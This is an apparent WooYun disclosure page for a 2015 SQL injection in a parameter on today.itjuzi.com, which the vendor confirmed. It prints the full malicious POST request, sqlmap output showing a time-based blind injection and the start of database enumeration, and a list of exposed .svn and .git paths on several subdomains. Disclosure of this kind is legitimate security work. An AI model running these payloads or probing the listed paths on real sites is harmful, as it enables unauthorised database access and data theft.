当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123656

漏洞标题:IT桔子某站SQL注入二(5库)

相关厂商:itjuzi.com

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-06-30 12:36

修复时间:2015-08-19 11:24

公开时间:2015-08-19 11:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-30: 细节已通知厂商并且等待厂商处理中
2015-07-05: 厂商已经确认,细节仅向厂商公开
2015-07-15: 细节向核心白帽子及相关领域专家公开
2015-07-25: 细节向普通白帽子公开
2015-08-04: 细节向实习白帽子公开
2015-08-19: 细节向公众公开

简要描述:

天地本不仁 万物为刍狗
【HD】 以团队之名 以个人之荣耀 共建网络安全

详细说明:

POST数据包:

POST /product/zan HTTP/1.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://today.itjuzi.com:80/
Cookie: cisession=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b2a6a5c4d30d6748fb30154e5796cc98%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%2236.250.86.158%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A107%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%29+AppleWebKit%2F537.21+%28KHTML%2C+like+Gecko%29+Chrome%2F41.0.2228.0+Safari%2F537.21%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1435633207%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Da1cceb1517366149341120e3ab543104; Hm_lvt_087dbe10f3d514bdbd5a1a73249022a4=1435633053,1435633054,1435633420; Hm_lpvt_087dbe10f3d514bdbd5a1a73249022a4=1435633420; _ga=GA1.2.778503783.1435633090; _gat=1; _ga=GA1.2.778503783.1435633090; _gat=1; HMACCOUNT=F335C26ADDC4F49A; jiathis_uniqid=143563315255920600ab2f7
Host: today.itjuzi.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
id=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/


id 参数 依旧5库

0.png


1.png


这个注入点 注入太慢了 就不继续了

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection points with a total of 126 HTTP(s) req
uests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=if(now()=sysdate(),sleep(0),0)/' AND (SELECT * FROM (SELECT(SLEE
P(5)))vkGK) AND 'jLCC'='jLCC'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()
=sysdate(),sleep(0),0))OR"/
---
[11:41:13] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 7
web application technology: PHP 5.4.41
back-end DBMS: MySQL 5.0.12
[11:41:13] [INFO] fetching database names
[11:41:13] [INFO] fetching number of databases
[11:41:13] [INFO] retrieved:
[11:41:13] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
5
[11:41:48] [INFO] retrieved:
[11:42:03] [INFO] adjusting time delay to 2 seconds due to good response times
information_

漏洞证明:

附送几个不知道有没有提交过的svn和git泄露 如果有泄露就改 没泄露或者补上的就算了

http://itjuzi.com/.svn/entries   存在.svn漏洞
http://today.itjuzi.com/.git/config 存在git漏洞
http://sh.itjuzi.com/.svn/entries 存在.svn漏洞
http://service.itjuzi.com/.git/config 存在git漏洞
http://u.itjuzi.com/.svn/entries 存在.svn漏洞
http://api.itjuzi.com/.git/config 存在git漏洞
http://tmp.itjuzi.com/.svn/entries 存在.svn漏洞
http://car.itjuzi.com/.git/config 存在git漏洞

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-05 11:23

厂商回复:

正在处理

最新状态:

暂无